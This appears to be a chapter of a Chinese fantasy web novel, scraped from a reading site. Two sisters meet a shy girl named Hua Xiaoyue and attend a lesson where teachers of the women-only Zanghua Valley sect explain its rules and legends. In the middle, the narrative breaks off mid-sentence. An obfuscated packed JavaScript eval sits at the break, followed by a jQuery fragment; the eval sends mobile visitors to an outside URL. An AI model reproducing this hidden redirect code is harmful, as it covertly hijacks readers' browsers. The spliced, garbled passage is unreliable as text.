第三天轮到葬花谷的老师授课。
葬花谷似乎是三派之中最没有规矩的门派,上课时不必穿特定的校服,就连上课时间都要比另外两派晚上一个时辰。
正好昨日练剑辛苦,倒是让人好好休息了一夜。
两人收拾妥当,不紧不慢地往明心殿而去。
走过御花园边上那条小径时,忽然听见前面传来一阵急促的脚步声。
墨染青还没来得及反应,一个人影就从拐角处冲了过来,直直撞进她怀里。
“哎呀!”
一声惊呼,紧接着是什么东西散落在地。
墨染青被撞得后退半步,稳住身形,眉头跟着皱了起来。
她低头看去。
一名女子正跌坐在地上,面颊通红,手边散落着一卷画纸,她慌慌忙忙地想要去捡,手忙脚乱间又将画纸推得更远了些。
“对、对不起……”她声音细若蚊蚋,头垂得低低的,耳朵红得仿佛要滴出血来。
墨染青的眉头皱得更紧了。
这声音,这熟悉的姿态。
“是你?”
那女子浑身一僵。
她慢慢抬起头,露出一张红扑扑的脸,正是昨日在她身旁练剑的女子。
“我不是故意的……我刚刚在练习画画,怕上课迟到了,没注意路……”她的声音越来越小,最后几个字让人几乎听不见。
墨染青看着她这副模样,眉头松开了一些。
墨染霜已经蹲下身去,轻轻捡起那卷落在地上的画。
“别急。”她声音温柔,“我帮你捡。”
那女子慌忙摇头,“不用,我,我自己来……”
墨染霜已经将画卷捡起来拢好,递给她。
“谢、谢谢。”
“下次小心些。”墨染霜朝她笑了笑,“画撞掉了没事,摔到自己就不好了。”
她接过画卷,抱在怀里,用力地点了点头。
“你叫什么名字?”墨染霜又问。
“我、我叫花小月。”她答。
“花晓月。”墨染霜细细念着这三个字,“任风月老,花月好,晓月照。”
“倒是一个好名字。”
花晓月抬头,一时之间呆住,想不到自己的名字竟然可以如此有意境。
墨染青站在一旁,看着她这副模样,忽然开口:“你方才说,在练习丹青?”
花晓月呆呆地点了点头。
“在这里练?”
“这里早上人少。”
墨染青看着她,目光里带上了一丝探究。
花晓月这才回过神来,轻轻垂下头。
墨染霜在一旁悄悄拉了一下她的袖子。
“阿青,别吓着她。”
墨染青收回目光,哼了一声,“我哪里有吓她?”
花晓月连忙摇头,“没、没有。”
墨染霜看着她,轻声问,“你这是要赶去明心殿上课吗?”
花晓月点点头。
墨染霜便笑了,“那正好,一起走吧。”
花晓月愣住了。
她看了看墨染霜那张温柔的脸,又偷偷瞥了一样旁边的墨染青。
“走吧。”墨染霜已经往前走了两步,回头看她,“再不走该要迟到了。”
花晓月咬着嘴唇,迈步跟了上去。
她走在墨染霜身边,和墨染青隔着一个人的距离,紧紧抱着怀里的画卷,耳根上的红晕久久未散。
墨染青余光扫过她,忽然问了一句,“你画的什么?”
花晓月抱紧了画卷,“没、没什么,随便画的几朵花。”
墨染收回了目光,没有追问。
墨染霜在一旁看着,嘴角弯起浅浅的弧度,“阿青自小练画,或许你们可以聊上一二。”
墨染青不置可否,“我屋里有一幅名师所作的百花图,你倒是可以拿去观摩一番。”
三人边说边走,终于来到明心殿。
殿内已经坐了不少人,三人找了靠边的位置坐下。
花晓月坐在墨染霜旁边,隔着一个人,离墨染青还是那个不远不近的距离。
她低头,看似在整理画卷,实则余光一直往旁边瞟。
墨染霜看见了,抿着嘴笑了笑,没有说话。
墨染青没有看她,只是撑着下巴,看向殿门的方向。
花晓月心中忽然涌现出一种奇怪的滋味。
像是偷吃了蜜糖的小孩,怕被人发现,又舍不得将糖吐出来。
殿门处,两道婀娜的身影正缓缓走来。
一位身着雾紫色衣裙,衣袂上绣着银色的小花,容貌艳丽,眉眼间却带着几分淡淡的疏离,像是枝头盛放的红梅,好看,靠近时却会沾上满身寒气。
另一位身着月白色长裙,裙摆处绣着淡粉的桃花,走动之间,花瓣若隐若现,像是踏花而行,她眉眼温柔,发间簪了一支桃花。
两人走到台前,站定。
紫色衣裙的女子目光扫过台下众人,声音清冷,“葬花谷,陌上花盈。”
月白衣裙的女子微微一笑,声音轻柔如春风拂面,“葬花谷,花未眠。”
“葬花谷只收女弟子。”陌上花盈开门见山说道。
此言一出,台下一片哗然。
顾如翼脸上的笑容瞬间僵住,一脸的不可置信。
和他一样的人还有很多。
“只收女的?”
“这……怎么不早说?”
“我白来了?”
陌上花盈冷冷扫了他们一眼,瞬间让那些抱怨声小了下去。
“葬花谷的规矩历来如此。”陌上花盈继续说道:“不符合条件的人下一堂课不用再来了,可朝另外两派继续努力。”
他们虽然不甘,却也不敢多说什么,只能灰溜溜地离开了明心殿。
不多时,殿中剩下的全都是女子。
花未眠目光扫过殿中众人,“葬花谷,由上古神眷者陌上花盈创立,谷训为:惜花护道,不争不扰。”
台下早已安静,众人纷纷竖起耳朵听讲。
她往前走了几步,裙摆上的桃花若隐若现,“谷中有四司,春司主生,司中皆是育花人;夏司主杀,司中皆是巡谷人;秋司主藏,司中皆是游世人;冬司主葬,司中皆是守墓人。”
台下有人小声问:“为什么会有守墓人?”
花未眠看了那人一眼,温声道:“问得很好,因为葬花谷就是一座坟墓,葬尽百花,既是坟墓,自然需要守墓人存在。”
众人闻言纷纷倒吸一口凉气。
花未眠轻轻一笑,“别怕,普通人是当不上守墓人的。”
众人这才松了一口气。
花未眠继续说,“我等修为境界分为三重:种心,生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305548|198712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魂,花痴。”
有人忍不住问:“只要种出花来就能够入葬花谷吗?”
“只要不是靠作弊种出的花,就能够入葬花谷。”说到此处,花未眠目光柔和下来,“除此之外,心性纯良者,与花有缘者,还有……”
她说到这里,忽然停顿了一下,目光在人群中扫过。
众人屏息凝神,等着她继续往下说。
花未眠的嘴角轻轻弯起,意味深长地说,“还有容颜美丽者,同样有机会进入葬花谷。”
她的目光扫过人群,忽然停在一处。
伸出手,纤纤玉指遥遥一指。
“就像那位姑娘。”她的声音里满含笑意,“便是谷主她老人家会喜欢的。”
众人的目光顺着她的手指齐刷刷看过去。
墨染青坐在靠窗处,依旧是那一袭引人瞩目的红裙。
这么多道目光落到自己身上,她一愣,然后对上花未眠含笑的眼眸。
台下顿时响起了一阵窃窃私语声。
“啊?”
“还有这种规矩?”
“那……那我是不是没希望了?”
“是她啊……”
“确实生得好……”
“怪不得……”
女孩们面面相觑,有人摸着自己的脸,有人已经开始沮丧了。
花未眠将她们的反应收入眼中,“诸位不必紧张,只这一条,说是规矩,其实也算不上是规矩。只是谷主她老人家性情疏阔,偏爱赏心悦目之人,你若是生得好看,日日在她面前晃悠,说不准她就破例让你入谷了。”
陌上花盈在一旁无奈地看着她,笑了,“她是与你们开玩笑的。”
见谷主亲口发言,众人这才稍稍安心。
花未眠也不再玩笑,正色道:“只要你们在三月内能够成功种出花,便能通过考核,进入葬花谷。”
说着,她从袖中取出一袋种子。
从中倒出一粒,种子很小,通体莹白,像是玉雕成的。
“每人一粒。”
说完,她走下台与陌上花盈一起,将种子一粒一粒分到众人手中。
陌上花盈走到墨染霜身边时,脚步一顿。
她的目光落到墨染霜苍白的脸上,温和地笑了一下,“你叫什么名字?”
墨染霜一愣,连忙道:“回谷主,我叫墨染霜。”
陌上花盈点点头,将种子放进她掌心,轻声说,“好好种。”
种子分发完毕,花未眠又问,“除了方才说的那些,你们可有想问的?趁我二人还在,尽管问。”
台下静默了几息,终于有人鼓起勇气提问:“前辈,上古神眷者究竟是什么呀?”
花未眠仔细想了想,说:“元女创世的传说你们都知道吧?”
众人纷纷点头。
她于是继续说:“玄鸟的翅羽化作了人类,这些人类和元女一样,都是永生不死的。”
台下有人惊呼出声:“永生不死?”
“那岂不就是神仙?”
陌上花盈看着众人的反应,微微摇头,“不必羡慕,永生不死,未必是福。”
花未眠继续讲,“那时的人没有生老病死,他们活一日与活千年并无分别,天地间只有他们,日复一日,年复一年。”
她的声音开始变得低沉而悠远,讲起那些古老得几乎被遗忘的传说。